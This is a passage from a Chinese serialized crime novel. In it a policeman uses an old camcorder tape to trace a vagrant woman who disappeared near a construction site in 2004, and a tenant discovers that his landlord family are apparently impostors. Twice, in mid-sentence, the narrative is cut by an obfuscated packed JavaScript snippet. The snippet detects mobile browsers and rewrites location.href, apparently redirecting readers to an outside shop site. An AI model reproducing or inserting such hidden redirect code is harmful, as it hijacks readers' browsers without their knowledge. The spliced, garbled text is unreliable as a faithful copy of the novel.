见他哑然,母亲又说道:“不用再请什么陪护了,迪子。我自己能走,用不着护工。现在吃饭都很方便的,食堂有专人推餐车到病房前叫卖,你想吃什么,就叫住他,他现场就卖给你。” “这怎么行?你洗漱——” “我自己可以。”母亲斩钉截铁道,“我还没有瘫痪呢,迪子。” 他想逞英雄,想大手一挥,命令母亲必须使用陪护,但他想起了那张卡,想起卡里两位数的余额,想起电话里陪护怒气冲冲的指责,他作为男人、儿子的尊严,在现实面前,不堪一击。 “其实,我还是想出院,治了这么久,也没什么起色。”母亲说。 这次他找回了自己的声音,这是他的底线。 “不行!”戚迪断然道,“没得商量,你别胡思乱想。” 母亲叹了口气,望向窗外,那只麻雀已经飞走了,但盎然的生机还在,绿叶在微风中轻轻晃动,盛夏的光影赋予它们仿佛无限的生命。但麻雀会死亡,树也会枯萎,就连地球,终有一日,也会被太阳膨胀的外层吞没。 连地球都会死,更不用说人。 但戚迪不愿松手,不愿卸下肩上背负的快要压垮他的责任,他想要留住他生命中仅剩的家人,最后的依恋。为此他可以付出一切,哪怕生命。 “时间过得好慢啊,”母亲叹息道,“看腻了绿色,我想看看飘雪的景象。” “……会来的。”戚迪说,“你安心治病,时间不知不觉就过去了,说不定飘雪的时候,你病都好了。” “那怎么可能?”母亲知道这是俏皮话,但还是忍不住笑了。 戚迪也跟着笑了一笑。 “我喜欢冬天,因为冬天一过,春天马上就来了。”母亲笑着说,“如果直接就到春天,那就会觉得理所当然,并不会觉得珍惜。但如果落过雪,来年的作物就会特别鲜甜,人也是一样。” “迪子——”她握住他的手,郑重其事地看着他的眼睛,“每个人都有不一样的路,谁也不知道这条路是对是错。你只需要坚持你认为对的事情就好了,无论结果如何,妈妈都会为你骄傲。” “……你在说什么啊。”他像被灼伤一样抽回了自己的手,“别搞这么煽情,你知道我最讨厌这一套。” “是啊,你是看到电视上说甜言蜜语就会打寒颤的迪子啊。”母亲笑道。 戚迪终于发自内心地笑了起来。 他看了眼腕表上的时间,给母亲捏好被角:“我还要跑一趟现场,晚上我过来陪你。” “不来也没关系,你忙自己的。”母亲说。 “那必须来,谁让你是我妈呢。”戚迪迟疑片刻,俯下身,在她耳边低声说道,“妈,谢谢你,我爱你。” 母亲错愕地睁大眼,而他则飞快地退回原位:“别叽叽喳喳,不然我翻脸了啊。我走了,晚上见。” 他逃也似的离开了病房,没有看见身后母亲绽开的笑容。 走廊里依然那么拥挤,但戚迪的心却没有之前那么空旷了。也许这就是人要群聚生活的理由,也许这就是爱存在的意义,母亲是他生命中最重要的人,他只恨自己明白得太晚。 一个中年男人吊儿郎当地叼着一根烟,理所当然地站在走廊里和他的朋友谈话,那曾经令戚迪放松的尼古丁飘散在空气中,勾起的不是他的渴望,而是彻头彻尾的厌恶。他看见的不是一个正在抽烟的陌生男人,而是过去那个无耻而自私的自己。 “喂!公共场合,麻烦你把烟灭掉!你看不见周围这么多病人吗?”他仗着身上没有制服,大步雷霆地走了过去。 他竟然要对一个在公共场合投毒的人,用“麻烦”、“请”这样的词,就好像他才是造成麻烦的那一个人,必须小心翼翼地说话才配得到宽容。多么荒谬啊,然而,荒谬的不止如此。他从前竟认为这种荒谬是最理所当然的事情。 他想起了梁芸,每次他在车里抽烟,她只会默默摇下车窗,以前他还会觉得她“矫情”,但现在才明白,她一直在宽容自己,或许,她认为他已经无可救药,所以连制止都不愿制止? 母亲说她总会为他骄傲。 但他并不值得。 “……神经病啊。”男人在戚迪高大的身影下怂了,嘴里抱怨着,却老实地摁灭了烟头,扔进垃圾桶里。 “别理他,我们走。” 他的朋友拉着他转身走了,回头的目光就像在看一个突然发疯的精神病患者。当所有人都视而不见的时间,发声的他就成了有病的那一个。他忽然明白了梁芸沉默的理由。 他一直以为自己是个大人了,但其实,也许在刚刚那一刻,才真的长大。 戚迪坐上巡逻车,打火、挂挡,车头一拐出了医院的环路。城市像一条被反复抹平的带子从窗外滑过去:写字楼的玻璃反光、生鲜超市门口叠起来的西瓜、路口广告牌上尚未褪色的楼盘海报,最多的,还是迎奥运的标语。越往北,楼越新、越高,街景却越空:整齐的香樟和银杏把人行道撑得满满当当,环卫的洒水车刚喷过一层薄雾,阳光在地砖上铺成一块淡白的光。 当年的项目地早已不是工地了。围挡不见,只剩下一排排挺直的住宅楼,外墙是流行了好多年的灰白配色,阳台统一封着落地玻璃,大门口的门楣上嵌着四个亮金属字,兰丽华庭。大门前的保安亭在阳光下闪闪发亮,身材高大的年轻保安穿着熨帖的制服,正在拦车杆前登记一辆外来车辆的信息。 戚迪没把车开进去,只把巡逻车停在路边的停车线里,步行沿着小区外围绕。 他先看小区底层的商店。开网吧的,开小超市的,开快递站的,他一个个问了过去。 监控大多数都有,但没有人会保存那么久的时间。 “04年?我们这儿的监控十五天就清一次。”超市的结账员惊讶地看着他。 其他店铺的答复也差不多,有一周清一次的,有一个月清一次的,保留一年以上的监控,他们闻所未闻。 在来的路上,他接到了王经理的电话,那边的答复也大差不差:时间太久,当年的项目部资料早已遗矢。他问了还有联系的几个当年项目上的人,都不记得具体时间了。 “反正是八月,这个能肯定。”王经理说。 线索就这么断了?他不甘心。 戚迪回到巡逻车上,扩大搜索范围,绕着兰丽华庭又开了一圈。这一次,他注意到距离小区大门步行只有十分钟的地方,有一片未使用的空地,铁丝网歪歪斜斜,里面被人顺手开辟成了菜畦:一畦青椒、一畦茄子,水管从远处的消防栓偷接来,塑料桶半桶半桶地存水,阳光一照,水皮上漂着薄薄一层尘。菜地里蹲着个老汉,草帽压得很低,左手提着一个铁皮水桶,正一瓢一瓢地往作物上浇。 这种在城市里利用暂时未规划的空地种植的人,大多是住在附近的居民,且是常年住在附近的居民。 “师傅,打扰一下。”戚迪在铁丝网外停住,“想问几件事。” 老汉抬起头,露出一张崎岖而苍老的瘦脸,抬手掀了草帽:“什么事啊?” “你是什么时候开始在这里种地的?” “你是什么人?小区物业的?街道的?”老汉立即露出警惕神情。 戚迪熄火下车,走到铁丝网前,从衣服里掏出证件贴了上去:“警察,你不用紧张,只是问一点这附近的事,不是冲你来的。” “……哦。”老汉半信半疑,“你要问什么?” 戚迪收回证件,再次说道: “你什么时候开始在这里种地的?” “好多年了,这里一直没人用,我就拿来种种黄瓜,玉米啥的。这网可不是我剪断的啊,我来的时候它就这样了。还有这水,呃,这水是本来就漏着,我想着浪费,才拿桶来接了起来。” 戚迪没理会他漏洞百出的借口,继续追问: “具体是几几年?” “00年吧,我们99年搬过来的。第二年就种上了。” “那你还记得前面那个兰丽华庭开工时的事吗?”戚迪尽量把语气放平。 “记得啊,它开工的时候老吵了。” “工地上有没有闹得比较大的事?” 老汉想也不想地反问:“你说那个女疯子不让施工的事?” “记这么清楚?” “那可不,那段时间老热闹了。”老汉应得干脆,“天天闹。说是女的,我反正看不出来,瘦得很,头发像鸟窝,凶起来就从桶里掏屎扔人。工地的人烦得要命,今儿轰走,明儿又来了。我还专门去看过热闹,一群大老爷们,被那个疯女人提着屎桶追着扔,可好笑了。” “她为什么守着这里?”戚迪问。 “她说这儿是她的‘家’,还说她走了孩子就找不到了。”老汉把桶放到地上,里面浑浊的粪水泼出来了一点,溅到他的黑色雨靴上,他毫不在意,“这件事附近的老住户都知道,去看热闹的也不止我一个。” “她有孩子?” “幻想吧,说不定就是孩子死了,所以才疯了。这种女人在我们老家多了去了。”老汉摆了摆手。 “那后来她怎么不见了?”戚迪把手按在铁丝网上,铁丝扎手,他没挪开。 “说来奇怪。”老汉换了口气,抬袖子擦了一把额角的汗,“闹了好几个月,穿着制服的人来了一批又一批,屁用没有。结果有一天突然就没了。” “你还记得是哪天吗?”戚迪追问。 “那天是哪天来着?我想想,04年,我记得那时候有个什么大活动——对了,对了!我想起来了,是8月14日,她就是前一天不见的。” “你确定吗?” “确定,我敢肯定!因为那天是什么奥运会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16755583|189544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开幕,希腊?哪儿的奥运会我忘了,反正也是个奥运会。我们那会儿刚装的彩电,十四号凌晨有开幕直播,我跟老伴儿坐在小炕上看,电视里一会儿火把,一会儿表演,热闹得很。我老伴儿忽然说:‘你知道吗,今天那疯女人没去闹。’她每天闲着没事做就会去工地上溜达看热闹,这老婆子,我让她来地里帮忙她都只会装聋——所以她知道得很清楚,就是那天开始,那疯女人就没有出现过了。第二天我去菜市场,路过工地时瞅了一眼,确实正常开工了。” “她叫什么,你知道吗?”戚迪问。 “谁知道啊。”老汉摇头,“我们都叫她‘疯女人’。” “那她失踪以后,有人找过她吗?她有没有亲属过来?”戚迪问。 “哪来的亲属。”老汉不以为意,“她要真有家,也不至于住那堆烂纸壳里—— 哎,不过好像真有人来找过她。” “什么人?你还记得对方的名字或长相吗?”戚迪一个激灵。 如果能找到亲属,那就通过亲属报案,将案子立起来,只要能够进入程序,一切就都快了。但如果单靠他一个人,那就得找到确切的凶案目击证人或证物,亦或直接是死者尸体。否则,立案只是空想。 “我没见过,我只是听过好像有人来找过她。好像就是去年的事吧。” “你从谁那里听说的?” “忘了。大家乱传呗,谁也不知道是谁说的。”老汉狐疑地问道,“警官,你们找一个流□□做什么?没了就没了呗。” 戚迪懒得和他分辨,拿出笔记本写下自己的电话号码,撕了递给他。 “如果还想起什么,可以给我打电话。” “行。”老汉在裤腿上摸了两下,接过他的纸条。 戚迪坐回巡逻车,给梁芸打去电话。 “如果我找了关系,能不能找到四年前的街道监控?” “四年前?”梁芸有些吃惊,但并未多问,“就算是公安自己布控的探头,也不会保留那么长时间,半年已经算久了。” 戚迪不死心地问:“找关系也不行?” “你找玉皇大帝也不行。”梁芸肯定地说。 戚迪沉默着没说话。 “你到底在查什么?”梁芸问。 “……不知道。”戚迪老实说,“也许是一桩案子,也许不是。目前都只是我的猜想。” “四年前,04年……”梁芸在电话里沉吟了片刻,“我记得04年是城市化改造热潮,你要不试试别的方向呢?” “什么方向?” “那段时间喜欢拍‘城市变迁’的爱好者不少,报纸上经常有专题刊登他们的作品,也许他们手里有你需要的东西。” 一道灵光闪过戚迪的脑海,他甚至想蹦起来熊抱梁芸一下。 “我知道了,谢谢你——一直都。”他飞快地说,“谢了!” 不等电话另一边回应,他马上挂断了电话,心脏在胸口里砰砰直跳,一种久违的局促和紧张扩散在他的血液中。 不是什么人都能随便进入正在开工的工地拍摄,如果有,那么一定得到了项目部的许可。 事不宜迟,他立即给王经理打了电话。一通人仰马翻后,戚迪如愿拿到了04年所有申请进入工地拍摄的青年爱好者名单——这份名单留在公司行政部,被早已遗忘,也正是如此,免去了被项目部和其他过期资料一起扔掉的结局。 巡逻车停在江都市城市建设投资有限公司楼下,太阳已经西下,只剩一点余晖。他拿着名单,按照上面的电话一个个打了过去,要求他们确认手中是否还有04年的影像资料。 只要能拍到流□□的面容,说不定就能通过人脸识别确认她的身份,这对调查来说是一大进展。 然而,电话那头一部分人说“磁带早丢了”,有人不接电话,只有一个人犹豫着说“可能还有几盒在衣柜,我下班了回去找找,有的话再联系你。”,总体而言,这个调查方向并不乐观。 但戚迪不想放弃,他已经没有别的路可走了。 太阳完全隐没在地平线上,戚迪启动引擎,开车往医院驶去。 车子驶入八里村,黄色的出租车在狭窄的甬道中穿梭,蔡岛嘉的脸色僵硬而灰白,他把车停在自建楼的前院里,没有立即下车。他看向后视镜中的自己,用力在脸上搓了几下,带起一丝血色,才开门下车。 打开后备箱,他拉开那个装满钞票的旅行袋,把里面的衣物一股脑抓了出来后,重新拉上拉链。蔡岛嘉用力提出袋子,沉甸甸的一百六十万压在手臂上,袋子里仍然在散发油墨,但闻到鼻子里,已经不是香气。 是恐惧。 蔡岛嘉迈着沉重的脚步走进自建楼一楼,所有人正在长木桌前吃饭,他进门的脚步声,让六张脸整齐划一地朝他看来。 他感到彻骨的恐惧。 蔡岛嘉把胳膊上的旅行袋放到地上,里面的钱在落到地面上时发出“咚”的一声。 “这是你们的钱,都在这里。”他挤出笑脸,僵硬的嘴角被扯得过于的高,像一个突然登场却没有画上油墨的小丑,“之前是我开了个玩笑,我和朵朵商量要吓吓你们,所以才玩了一场‘游戏’,这钱本来也打算过两天就还给你们。但我后来越想越觉得自己错了,怎么能和朵朵一起胡闹呢?所以现在就把钱还给你们。” “你说什么?”何阿婆惊声质问,第一个从桌前站了起来。 “你在说什么啊,小蔡?这是怎么误会?”何阿公接着放下筷子起身,随后何序、徐朝颜也接二连三地站了起来,夏禧和朵朵仍坐在桌前,夏禧在墨镜后震惊地看着他,朵朵摇晃的双腿有一刹的停滞,然后又若无其事地继续晃,眼神从地上的旅行袋落回蔡岛嘉苍白的脸上。 “真的很对不起,我知道自己给你们造成了很大的麻烦。我也没什么脸面继续住下去了,我现在就收拾行李搬出去。提前退租的违约金,还有借你们的一万都不用还了。这也许不算什么,但是我的一点心意,这段时间,给你们添麻烦了。” “小蔡!” “蔡岛嘉——” 蔡岛嘉不顾身后的阻拦,旋风似地冲上三楼,将自己反锁在房间之中。他跌坐到地上,任由混乱的呼喊在门外响起。人的心跳怎么能这么震耳欲聋?他几乎听不见其他声音。他歇了几秒,抓起自己的行李箱开始疯狂打包行李。 逃—— 想起今天一天的发现,他只剩下这一个念头。 什么一百六十万,全都不重要了。他现在必须立刻,马上,永远地,逃离这栋吃人的楼。 34.第 34 章 “小蔡啊,我们刚刚从朵朵那里知道事情经过了,这也不能完全怪你,朵朵太胡闹了。就当是她的一个教训吧,你也不用太自责。” “蔡岛嘉!你出来说话!你跟着娃娃瞎闹,憋到现在才说真话,还想退租逃跑,哪里有这样的好事!你给老子出来!” 何阿婆夫妇的声音隔着一道门响起。 几下克制的敲门声,然后是何序的声音: “就算你要退租,也不用这么急。我们找下一个租客也需要时间。” “是啊是啊,”徐朝颜附和道,“我们又没赶你走……” 蔡岛嘉一个都没回应。那些曾经熟悉的声音,此刻与恶魔低语无异。他也顾不上整理,只能看见什么塞什么,行李箱很快就变得鼓鼓囊囊,门外也消失了声音。 他把衣服用力向下按去,粗暴地拉上了行李箱的拉链。拖着箱子走出房间的时候,夏禧正靠在楼梯上等着他。四周没有其他人,她把墨镜推到额上,走向蔡岛嘉。 “你发什么疯,怎么把钱还回去了?”她压低声音说道。 “你在说什么?我本来就是帮着朵朵吓唬她的家人,钱肯定要还回去的。让一下,我得走了。” 蔡岛嘉试图把她从楼梯口推开,夏禧牢牢钉在原地不动。 “你如果不告诉我实话,就别想从这里离开。”夏禧说。 “你他妈有完没完?”蔡岛嘉最后的忍耐被怒火点燃,他快速地探头看了一眼楼梯下方,确认无人在附近后,对夏禧挤出牙缝里的声音,“你不就是想要钱吗?墙里那袋美金,还剩一万多,都给你,就在床底下。你想要就去拿吧,我什么都不知道。” “不行,你不说清楚,今天别想走!” “放手!操!” 夏禧被他用力推了一把,险些跌落楼梯,是中途抓住了扶手,才稳住身体。 “你想知道原因是吧?我告诉你!”蔡岛嘉脸色涨红,愤怒和恐惧同时在那张平凡的面孔上交汇,“这栋楼里所有人的身份都可能是假的,我不会再相信任何人——包括你!” 他提起身边的行李箱,头也不回地冲下了楼梯。 “小蔡——” “蔡岛嘉——” 楼下响起了何家人挽留的声音,夏禧站了起来,握住楼梯扶手往下看去,蔡岛嘉的身影已经消失在楼梯口,声响正在快速向院子方向移动。楼梯的影子在墙面盘绕,像臂足缠上臂足;最底处的平台像一张沉默的吸盘,等着接住坠落的猎物。 就在一天前,他还怀着劫后余生的心情,走过这座楼梯。 朵朵逃跑了,逃回了家,但她并未出卖自己,这意味着他还有机会。很多很多的机会。那个喜欢看蚂蚁在水泊中绝望溺死的女孩,他有充足的把握将她带到一条不归的道路上来。 灯罩下的那枚印记改变了一切。 “我爸说你屋里的灯坏了,让我来看看。需要帮忙吗?” 他拒绝了何序的帮忙,独自换好了灯泡。何序以“顺路”为由,带走了人字梯。人一走,他反手锁门,拖来一把椅子放到灯罩下,眉头紧锁地望着那枚圆斑。 灯罩的塑料边缘有热,薄薄一层灰在光里起毛,只有那处豆大的空白像一只无声的眼,刚被人挖走了眼珠。 他想起了何序房间里的多个分屏。想起了一无所获的红外探测器。还想起了当晚在三楼客厅里捡到的,一枚几乎崭新的小螺丝——当时他就觉得奇怪,三楼客厅里根本没有新的家具,这枚新的螺丝从何而来? 现在,这一连串的问题,似乎都有了解答。 让人战栗的答案。 天色已晚,他按兵不动,装作一切如常地睡下了。说是睡,其实只是躺在床上,瞪着灯罩下方的那个圆斑过了一晚。第二天一早,他假意出车,在吃过早餐后离开了自建楼。 他把车停在八里村外,随便找了个文具店买了一个蓝色的文件夹,一个笔记本,还有一只便宜钢笔,接着步行回到了八里村。 村子里没什么娱乐活动,但上了年纪的阿公阿婆都喜欢搬条小板凳三三两两地坐在门前,各家各户的八卦就是她们最好的娱乐活动。 蔡岛嘉瞅准了三个坐在一起闲谈的阿婆,用目光把她们扫视了一遍:五六十岁左右,足够老,知道这附近的一草一木,又不算太老,听得清他要问什么。他清了清嗓子,把文件夹和本子小心地叠到一起,钢笔特意别在笔记本上,然后朝她们走了过去。 “几位阿婆你们好——”他弯下腰,放大了音量,对坐在一条木凳上的三名阿婆说道,“我是街道办事处的,需要问你们几个问题。就是关于村子里外来人口情况的,因为奥运会马上就要开幕了,我们需要确认村子里没有可疑人士。” 一个阿婆说:“你是街道的?没见过你啊?” 另一个则打量他一眼,不以为意道:“哦,你问吧。” 还有一个没说话,但聚精会神地盯着他,就像寂静的草丛中突然蹦出一个蛐蛐,她已经准备好捕捉它。 蔡岛嘉故意无视了那个疑惑的提问,对中间那个阿婆和颜悦色道:“阿婆,你认识三巷6号那户人家吗?姓何那户。” “啊,何阿婆啊。认识认识。她怎么了?” “没怎么,因为她家有外来租户,所以我们了解一下情况。”蔡岛嘉翻开笔记本,装模作样地写了起来,“她们一家在八里村住多久了?是本地人吗?” “不是本地的,何家是后来搬来的。”一个阿婆马上说道。 “是啊,前几年才搬来的。”另一个补充道。 “他们一家有多少口人啊?”蔡岛嘉接着问。 “两口——不对,还有儿子儿媳孙女,那就是五口。” 蔡岛嘉在本子上乱画的笔顿了顿,他抬起眼来:“既然是五口,为什么一开始会说两口?” “因为一开始只有他们老两口嘛。” “对啊,他们先搬过来的。” “那时候我还在诊所里碰到过老何呢,说是喉咙发炎,一个人来吊水,老婆子在家里做饭——我问他,你孩子呢?他还对我笑了笑,但是没说话。” “听说老何以前是老师,我们还说,这老师养出来的孩子也不怎么样,老父亲生病吊水也不来看一眼。”一个阿婆捂嘴笑道。 “那他们儿子是什么时候搬来的?”蔡岛嘉问。 “好像是去年吧,去年下半年。”一个阿婆说,这个时间得到了另外两人的肯定。 “自从他们儿子一家搬过来住,何阿婆脸上才有了生气。以前我买菜时碰到何阿婆,给她打招呼她也不理。一张脸冻得死人,听说现在还跳广场舞了。人啊,果然还是得和孩子住在一起。幸好我女儿没远嫁,就在村里,不然我也得像何阿婆一样,可怜兮兮的。” “不止呢,还烫发了。老时髦了。” “他儿子好帅的,又高又瘦,听说工作也好。可惜结婚了,不然我也想要个这样的女婿。” “你尽发疯!人家看得上你女儿?” “我看他家媳妇也没多好,听说家务不做,工作也不找,也不知道何阿婆怎么忍下来的,我的女仔能干多了!” 三个阿婆又笑到一堆。 蔡岛嘉手中的钢笔还在本子上“沙沙”地乱画,但那已经不是随意的线条,而是被压迫的黑色漩涡。太阳从屋檐外斜进来,他却觉得背脊发冷,汗意却从颈后冒出来,顺着脊柱往下爬。拇指压着笔杆的地方渐渐发白,纸面被他按出一道浅痕。 他忘记了自己如何告别这三个阿婆,如何坐到自己的黄色出租车上的。回过神来,那个不断压缩的漩涡就在摊开的笔记本上看着他,他慌忙把本子盖上,连着文件夹等其他道具,扔到了看不见的后排。 在朵朵做作业的时候,他曾看见过一个本子上的校名:“江都市第三中学”,这个名字像电光一样闪过他的脑海。 他拧钥启动,方向盘在掌心里略微打汗。发动机低声咆哮着,道路在太阳下发白,路边树影被压扁,像一条条无声的带子贴着车门往后滑。每个红灯都显得过长,转弯时,蔡岛嘉能看见公交站牌上新的“迎奥运、讲文明”标语——一切都如常,但越是如常,越让他感到刻骨的恐惧。 正值暑假,第三中学的大门前铁门紧闭,棕红色的塑胶跑道内是绿色的草坪,一群半大男孩正在训练。保安躲在冷 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保安放下手机,诧异地看了他一眼:“谁叫的水?” “李老师。”蔡岛嘉随口胡说。 保安打开窗口,给他递了个本子:“登记一下。” 蔡岛嘉在上面留下了三轮车上印有的店铺名称,电话则乱写了一个。保安看了一眼,走出保安室给他打开了大门。 那桶水沉得他肩头一阵发麻,走进空无一人的教学楼后,蔡岛嘉立即找了个地方扔下。暑假的学校里当然有值班教师,但他不准备找大人,他们总是问得很多,很谨慎。他的目标是那群正在操场上踢足球的小子。 蔡岛嘉躲在教学楼的阴影里,仔细地观察了一下操场。 很好,没有教练,没有成年人。似乎只是一群小孩自发的足球游戏。 他趁中场休息的时候,走出教学楼,朝操场上的男孩们走去。他们个头不一,年纪也不一样,蔡岛嘉找了个看上去和朵朵年纪相仿的男孩,将他拦了下来。 “同学,你是这个学校的吗?几年级了?” 男孩谨慎地看着他:“你想干什么?” “我妹妹也在这里读书,我想问问你认不认识,或者这里面有没有认识她的人。”蔡岛嘉拿出早已准备好的十块钱塞到男孩手里,“请你喝水。” 男孩握住了那十块钱。 “你妹妹叫什么名字?几年级?”换他问道。 “她叫朵朵,何朵朵……或者何朵。初一。”蔡岛嘉干巴巴地说,“我爸妈离婚了,她被我妈带走了。我也不知道她有没有改名字。” “初一?”男孩看向人群,“陈狗!过来一下!” 那个绰号叫陈狗的细细长长的男孩一路小跑过来:“什么事啊?” “这个人要找他妹妹,初一,叫何朵或者何朵朵。你不是初一的吗,你认识不?”男孩问。 “何朵?”细长的男孩一脸茫然,“没听说过啊,我是四班的。另外还有六个班呢,我怎么认得完那么多人?” “我有照片!”蔡岛嘉急忙说道。 他掏出手机,急忙翻出一张照片,那是他出门前,在一楼客厅里的全家福上的偷拍的。朵朵站在所有人前面,面孔清晰可见,笑容灿烂。 “啊,这不是我们年级第一吗?”细长的男孩立即叫了起来,“什么何朵啊,她又不姓何。” “什么?”蔡岛嘉如遭雷击。 “她不姓何啊,她姓苗。”男孩露出了嘲弄的笑容,“苗盼弟。” 他仿佛听见“咔”的一声,视线像玻璃被震裂,碎片四溅;每一片都映着某个寻常瞬间——饭桌上的吵闹、院子里的兔子舞、电视机里的抗日剧。在这些看似寻常的碎片背后,孕育着针对他的最恐怖的恶意。 他无法理解,无法想象,大脑的思绪已经凝固,自身也仿佛坠落狂暴的漩涡,一同碎成齑粉。 “一切都是假的。” “他身处陷阱之中。” 强烈的眩晕中,他只剩下这一个念头。 35.第 35 章 蔡岛嘉从学校回到自建楼的时候,他那动物般的直觉已经让他下定决心——他不在乎这一切为什么会发生到他身上,不在乎这一家人,不,一群人,到底在搞什么把戏。 他要逃走,马不停蹄地立即逃走。 他毫不犹豫地将那装有一百六十万现金的旅行袋放到地上,说了那通震惊众人的话。现在更是把行李箱扔进后备箱里,头也不回地把车开到前院的铁门前。何家人没有追出来,他们应当也看出了他的决心。他不会留下来的,相较起沾了剧毒的一百六十万,他更想回到此前那段无聊而拮据的人生。 至少那时候,他是安全的。不用担心下一秒就吃枪子,或者被暗刀捅死。 现在已经很迟了,但是没有关系,蔡娟永远会为他开门。 蔡岛嘉把车开到大门前,铁门的门闩别着,挡住了他的唯一出口。 “小蔡哥哥,你真的要走吗?”在他下车去打开铁门的那一刻,一个声音从身后传来。 朵朵朝他走了过来。她神色如常,两只手放松地垂在腿边。她的一边短发被一枚已经褪色的毛线发夹别到耳后,黑亮的发丝在月光下闪着妖精似的萤光。 看见她,蔡岛嘉就怒火中烧。她怎么敢,怎么敢把他骗得团团转? “是啊,玩笑开得太过火了。我不好意思再住下去了。”他强装笑颜,嘴角在强烈的愤怒下抽搐着,“我们以后有机会再见,朵朵。” 他握住铁门的门闩,用力拉开了生锈的大门。 门开了,戚迪一边说着“这么晚打扰了”,一边走进小小的两居室玄关。这是下午那名说要“下班了回家找找”的爱好者的家。 “有鞋套或者拖鞋吗?” “没事,你直接进吧。我一个人住,家里很乱,没收拾。你不嫌弃就行。”戴着黑框眼睛的瘦高青年腼腆地笑了笑。 戚迪站在门口,把鞋底已经干涸的泥块在门槛上别了几下,然后才小心地踩了进来。 青年自谦说“家里很乱”,但其实这是个整洁的小家,虽然东西不多,但所有东西都在它们应该在的位置,戚迪不由想起了母亲住院后,在他的放纵下变成狗屋的家。 等这件事了了,一定要抽时间把家里收拾一下。他暗自下定决心。 青年领他进入客厅,从茶几上拿起几盘磁带,在放映机前蹲了下来。 “当时的照片都已经清理掉了,还剩几盘录像,不知道能不能帮上你。我提前看了一下,感觉没什么特别的。”青年低头看了眼磁带上的标签,上面用蓝色记号笔写着时间,“我去了好几次,这是4月14日拍的。”他将第一盒磁带放进机器。 电视打开后,很快屏幕上就有了画面。戚迪自己在沙发上找了个位置坐下,聚精会神地看着电视。青年也在另一头坐了下来。 手持dv的录像并不清晰,甚至连稳定也做不到。戚迪看了一会就觉得有些恶心,他下意识地去摸兜,顿了顿,掏出一把薄荷糖放在茶几上。 “吃吗?”他问。 青年摇了摇头。 他拿起一颗薄荷糖,扔进嘴里。 一共四十分钟的录像,戚迪一秒钟都没快进,但依然一无所获。 “这是7月20号拍的。”第二盘磁盘也被推入机器。 第二盘磁带有一小时二十分钟,依然没有进展。画面里的焦点是那些钢筋巨兽,就算出现人脸,也是戴着黄帽的施工人员。也是,谁会特意去拍一个女流浪汉呢?他自嘲地想。 茶几上的糖纸已经堆成小山,戚迪一直弓着前倾的背终于倒向沙发,他把最后一枚薄荷糖放进嘴里,心中已不报太大希望。 “这是8月12日的。”青年看着最后一盒磁带,露出怀念的微笑,“那天晚上三德广场有烟花表演,在工地上正好能看到。我是想拍烟花下的工地,才特意在夜里去的。还是大学时候好啊,现在工作忙,再也没有那样的兴致了。” 戚迪刚刚靠上沙发的背立马弹了起来。 老汉说过,流□□失踪最晚是在13日,因为14日凌晨——也就是雅典奥运会开幕式的直播时间,老汉的妻子对他说“你知道吗,今天那疯女人没去闹”。人们习惯将睡觉之前发生的事概括为“一天”,老汉妻子所谓的“今天”,也就是13日的白天。 老汉“第二天”前去菜市场,发现工地已经开工。 那么基本可以确定,流□□失踪就是在12日到13日之间。 青年将最后一盘磁带推入机器。 摇晃的画面重新出现在屏幕上。未完成的钢铁巨兽耸立在开阔的夜幕下,塔吊的红眼在高处缓缓眨动,四周鸦雀无声。 “烟花就快开始了。”青年略有兴奋地说,“大概五分钟,需要快进吗?” “不用。” 戚迪目不转睛地看着缓缓移动的画面。 钢骨把夜撑成几何的线,风从缝里擦过,留下细碎的冷光。临时电箱门用铁丝别着,围挡上的宣传画被风掀起又贴回去,摇晃的画面随拍摄者的脚步缓缓移动,烟花绽放前的寂静里,只有青年隐约的呼吸声起伏在录像之中。 大约五分钟后,远处第一束烟花在天际炸开,冷光落在工地上,钢筋骨架被照出一瞬的银白,随即又沉回黑里。烟花一开始稀疏,后来越来越密,盛大的声浪迟到半拍滚滚而来。彩色的光像潮水一般络绎不绝地越过城廓,轻触这片钢铁骨架。 “等一下!”戚迪忽然叫道,“能不能把这个画面放大?” “啊……可以,放到电脑上就行。”青年说。 青年把机器吐出的磁带放回一个小巧的DV机中,接着打开电脑,连接上两者后,点开软件导入。戚迪屏息凝神地站在青年所坐的电脑椅后,目不转睛地看着画面。 画面重新开始播放。 “是这里吗?”青年跳了几下进度。 “就这里!放大左上角,那几个脚架背后!”戚迪大喊。 放大的过程像在深水里追一束光,像素变成一格一格,边缘起着毛刺——银脚架后,那个形状终于从噪点中聚拢,连青年也看见了它的存在。 “这是……”他惊讶道。 两个人。 他们的面容受制于清晰度和挡在前方的脚架,变得非常模糊,但戚迪还是凭感觉一眼认了出来。 一个是早些时候他才在省二监见过的田永,更年轻,身材更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16757984|189544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 臃肿;另一个则是已经刻在他脑子里的蔡岛嘉,或者说——姜必成。田永穿着黑色的行政夹克,正在用什么抹着头顶的汗,而蔡岛嘉穿着衬衫和休闲裤,手里拖着一个巨大的行李箱。 行李箱最常见的尺寸是20、24、26,而蔡岛嘉手中拖着的那个,最少也有30寸。 画面一闪而过,重新聚焦于工地上方的烟花。 但他已经找到了,比烟花更震撼的东西。 自建楼门前,蔡岛嘉已经推开了铁门,坐回到了黄色出租车上。朵朵站在车窗前,依依不舍地说: “小蔡哥哥,你还会回来陪我玩游戏吗?” 开什么玩笑,他们这辈子都不要再见了。蔡岛嘉在心中想。 “有时间的话。”他说。 重新发动引擎,黄色出租车慢慢滑向门外。车窗里的朵朵没有消失,她跟着车在走。 